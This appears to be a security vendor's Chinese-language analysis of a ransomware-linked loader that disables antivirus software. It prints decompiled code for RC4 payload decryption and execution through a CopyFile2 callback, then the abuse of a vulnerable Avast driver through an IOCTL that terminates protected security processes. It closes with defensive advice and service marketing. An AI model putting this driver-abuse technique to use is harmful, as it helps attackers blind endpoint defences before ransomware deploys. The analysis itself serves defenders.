模拟客户网络拓扑环境
1. 背景
1.1 家族介绍
1.2 防病毒软件(AV)测试结果
杀软 | 结果 | 测试截图 | 公司及产品介绍 |
---|---|---|---|
Sophos home | 成功kill | Sophos 是一家全球领先的网络安全公司,总部位于英国牛津,成立于1985年。Sophos专注于提供企业级的安全解决方案,主要包括防病毒、防恶意软件、端点安全、加密、网络防火墙、入侵防御、邮件安全等产品。Sophos以其创新的安全技术、强大的威胁检测能力和简便的管理界面,在全球企业用户中具有广泛的影响力。Sophos Home 防病毒软件 是一款专为家庭用户设计的网络安全工具,旨在提供企业级防护,帮助用户抵御各种网络威胁,包括病毒、勒索病毒、恶意软件等。Sophos Home结合了Sophos公司多年在企业级安全领域的经验,涵盖端点保护、勒索病毒防护等功能,并提供强大的云端防护技术。 | |
eset | 成功kill | ESET是一家总部位于斯洛伐克的全球领先网络安全公司,成立于1987年。ESET专注于提供创新的网络安全解决方案,涵盖个人和企业的防病毒、防恶意软件、反间谍软件等产品。ESET凭借其高度准确的威胁检测技术和全球覆盖的支持服务,已成为网络安全领域的知名品牌,提供了多种防护解决方案,帮助用户防范网络攻击、病毒、恶意软件及其他数字威胁ESET 防病毒软件 以其高效的病毒检测、低资源消耗和简便的用户体验而广受欢迎。具备勒索病毒防护、反钓鱼保护、Web和网络保护等功能,ESET的防病毒软件适用于家庭用户和企业用户,提供多层次的保护,确保用户的设备免受各种网络安全威胁。 | |
某二字杀软 | 成功kill | 国内某安全厂商主流防病毒软件 | |
某二字edr | 成功kill | 国内某安全厂商主流防病毒软件 | |
某三字edr | 成功kill | 国内某安全厂商主流防病毒软件 | |
某三字edr | 成功kill | 国内某安全厂商主流防病毒软件 |
2.对抗AV样本分析
* Must have administrator privileges
* Don't leak the pass
* Version: 2.0.4
* Must have Data.bin
Having two run modes:
1. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
2. Loader.exe and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
3. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
4. Loader.exe -list av.txt and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
07/07
* Byass AV
06/07
* Byass AV
05/15
* Byass AV
* some AV
05/08
* add BitDefender
05/06
* add Trend Micro Deep Security
05/05
* add Trend Micro
* fix some bug
2.1 程序流程
2.2 逆向分析
memset(v15, 0, sizeof(v15));
printf("key:n");
scanf("%s", v15);
FileW = CreateFileW(L"Data.bin", 0x80000000, 0, 0i64, 3u, 0x80u, 0i64);
v6 = FileW;
if ( FileW == (HANDLE)-1i64 )
return 0i64;
if ( !GetFileSizeEx(FileW, &FileSize) || !FileSize.QuadPart )
{
CloseHandle(v6);
return 0i64;
}
v7 = (char *)VirtualAlloc(0i64, FileSize.QuadPart, 0x1000u, 0x40u);
for ( i = 0; ReadFile(v6, Buffer, 0x800u, &NumberOfBytesRead, 0i64); i += v9 )
{
v9 = NumberOfBytesRead;
if ( !NumberOfBytesRead )
break;
v10 = Buffer;
v11 = &v7[i];
v12 = (unsigned __int64)NumberOfBytesRead >> 3;
v13 = NumberOfBytesRead;
if ( v12 )
{
do
{
v14 = *(_QWORD *)v10;
v10 += 8;
*(_QWORD *)v11 = v14;
v11 += 8;
--v12;
}
while ( v12 );
v9 = NumberOfBytesRead;
}
v15 = v13 & 7;
if ( (_DWORD)v15 )
{
v16 = v11 - v10;
do
{
v10[v16] = *v10;
++v10;
--v15;
}
while ( v15 );
v9 = NumberOfBytesRead;
}
}
CloseHandle(v6);
pdwDataLen = FileSize.LowPart;
if ( CryptAcquireContextW(&phProv, 0i64, 0i64, 0x18u, 0xF0000000)
&& CryptCreateHash(phProv, 0x800Cu, 0i64, 0, &phHash)
&& CryptHashData(phHash, a2, a3, 0)
&& CryptDeriveKey(phProv, 0x6610u, phHash, 0, &phKey)
&& CryptDecrypt(phKey, 0i64, 1, 0, (BYTE *)v7, &pdwDataLen) )
{
CryptReleaseContext(phProv, 0);
CryptDestroyHash(phHash);
CryptDestroyKey(phKey);
Sleep(3u);
return v7;
}
else
{
free(v7);
return 0i64;
}
}
CryptAcquireContextW
获取加密服务提供者的上下文。CryptCreateHash
创建一个 SHA-1 哈希对象。CryptHashData
计算给定数据的哈希值。CryptDeriveKey
从哈希值派生一个 RC4 密钥。CryptDecrypt
通过派生的 RC4 密钥解密数据。CryptReleaseContext
、CryptDestroyHash
和 CryptDestroyKey
释放加密服务提供者、哈希对象和密钥的资源。 v12 = decode((__int64)v9, (const BYTE *)v4, v10);
if ( v12 )
{
pExtendedParameters.dwSize = 32;
pExtendedParameters.dwCopyFlags = 1;
pExtendedParameters.pfCancel = 0i64;
pExtendedParameters.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)v12;
pExtendedParameters.pvCallbackContext = 0i64;
DeleteFileW(L"C:\Windows\Temp\backup.log");
CopyFile2(L"C:\Windows\DirectX.log", L"C:\Windows\Temp\backup.log", &pExtendedParameters);
}
C:UsersusernameAppDataLocalTemp
目录下释放了这个驱动,之后就是加载该驱动并利用此驱动关闭杀软进程2.3 驱动分析
PsGetVersion(&MajorVersion, &MinorVersion, &dword_5C8B0, 0LL);
dword_5C8CC = MinorVersion | (MajorVersion << 8);
if ( (MinorVersion | (MajorVersion << 8)) < 0x500 )
return -1073741823;
v3 = L"aswSP_Avar";
if ( !byte_5C9D0 )
v3 = L"avgSP_Avar";
qword_5C8C0 = (__int64)v3;
_snwprintf(&word_5C800, 0x1EuLL, L"\Device\%s");
_snwprintf(word_5C960, 0x1EuLL, L"\DosDevices\%s", qword_5C8C0);
RtlInitUnicodeString(&DestinationString, &word_5C800);
RtlInitUnicodeString(&SymbolicLinkName, word_5C960);
__int64 __fastcall sub_2B418(unsigned int a1)
{
NTSTATUS v1; // eax
unsigned int v2; // ebx
struct _CLIENT_ID ClientId; // [rsp+30h] [rbp-78h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+40h] [rbp-68h] BYREF
struct _KAPC_STATE ApcState; // [rsp+70h] [rbp-38h] BYREF
PVOID Object; // [rsp+B8h] [rbp+10h] BYREF
void *ProcessHandle; // [rsp+C0h] [rbp+18h] BYREF
ClientId.UniqueThread = 0LL;
ObjectAttributes.Length = 48;
memset(&ObjectAttributes.RootDirectory, 0, 20);
ObjectAttributes.SecurityDescriptor = 0LL;
ObjectAttributes.SecurityQualityOfService = 0LL;
ClientId.UniqueProcess = (HANDLE)a1;
KeStackAttachProcess(Process, &ApcState);
v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
v2 = v1 == 0;
if ( !v1 )
{
if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0LL, 0, &Object, 0LL) )
{
switch ( dword_5C8CC )
{
case 1281:
*((_DWORD *)Object + 146) &= ~0x2000u;
break;
case 1282:
*((_DWORD *)Object + 144) &= ~0x2000u;
break;
case 1536:
*((_DWORD *)Object + 138) &= ~0x2000u;
break;
case 1537:
*((_DWORD *)Object + 156) &= ~0x2000u;
break;
case 1538:
*((_DWORD *)Object + 154) &= ~0x2000u;
break;
}
ObfDereferenceObject(Object);
}
v2 = ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
KeUnstackDetachProcess(&ApcState);
return v2;
}
else if ( a6 == 0x9988C094 )
{
if ( a3 != 4 || !a2 )
{
*a7 = -1073741306;
return 3221225990LL;
}
v44 = sub_2B418(*a2);
v45 = a7;
*a7 = v44;
}
#[repr(C, packed)]
struct BYOVD_STRUCT {
pid: DWORD,
}
3. 总结
ZwTerminateProcess
函数,强制终止指定进程(如杀软)。该程序的关键技术包括加密解密过程、驱动加载与执行以及杀软绕过技术,通过操控系统的低级接口和系统调用,达到禁用安全软件的目的。4.安全建议
4.1 风险消减措施
前期处理方法(企业内部):
1.尽快断开被感染设备的网络连接,以防止病毒进一步扩散!
2.请勿中途强制关机,该行为会造成不可逆后果
3.不要尝试自行解密或支付赎金,以免造成更大损失!以下为详细的消减措施:
1. 数据备份策略
定期进行数据备份,并确保备份数据存储在物理隔离的设备或云环境中,避免备份被勒索病毒感染。
实施多重备份策略,如每日、每周、每月备份,以确保在灾难恢复时有多种数据版本可供选择。
2. 系统和应用更新
定期更新操作系统和应用软件,及时打补丁,修复已知的漏洞。
开启自动更新功能,确保始终拥有最新的安全补丁。
3. 邮件和浏览器安全
部署电子邮件安全网关,过滤恶意附件和链接。
培训员工识别钓鱼邮件和恶意链接,提高对社会工程攻击的防范意识。
限制员工对高风险网站(如未经过筛选的下载网站)的访问,减少通过恶意广告和下载感染的风险。
4. 用户权限管理
最小权限原则(Principle of Least Privilege):根据岗位需求分配权限,避免不必要的管理员权限。
禁止员工使用公共账户和共享账号,所有用户需拥有独立的登录凭证。
5. 启用多因素认证(MFA)
为关键系统和远程访问启用MFA,防止账号被未经授权访问。
除了密码之外,添加短信验证、动态令牌等额外的安全层。
6. 网络分段与隔离
实施网络分段,将关键系统与普通网络隔离开,防止勒索病毒在局域网内扩散。
对于重要的业务系统,采用单独的VLAN和防火墙策略进行防护。
7. 部署防勒索软件和端点检测响应(EDR)
使用防病毒软件和防勒索软件,及时识别和阻止潜在的勒索病毒攻击。
部署EDR解决方案,以监测和响应异常活动,迅速隔离感染设备,防止病毒扩散。
8. 建立并测试应急响应计划
制定详细的应急响应计划,明确在勒索攻击发生时的应对步骤。
定期演练,测试该计划的可操作性,并进行改进。
9. 入侵检测与流量监控
使用入侵检测系统(IDS)和入侵防御系统(IPS),识别和阻断异常流量。
监控网络流量日志,以便在勒索病毒传播的早期阶段及时发现异常。
4.2 安全设备调优
目标
主要目标设备
4.3 全员安全意识增强调优
目标:
形式:
线下培训与宣贯:采用面授形式,通过系统化的课程安排,确保全员深入理解网络安全的核心概念和防护措施。
线上替代方案
我司自主研发的知行网络安全教育平台结合多种培训方式的组合,灵活应对不同场景,确保每位员工具备扎实的网络安全意识与技能。
知行网络安全教育平台
视频学习功能
AI助教功能
题目练习功能
自主练习功能
5.团队介绍
solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。
同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。
团队也先后通过了科技型中小企业、创新型中小企业认证、ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
More
6.数据恢复服务流程
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
点击关注下方名片进入公众号 了解更多
更多资讯 扫码加入群组交流
喜欢此内容的人还喜欢
索勒安全团队
索勒安全团队
索勒安全团队
原文始发于微信公众号(solar应急响应团队):【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论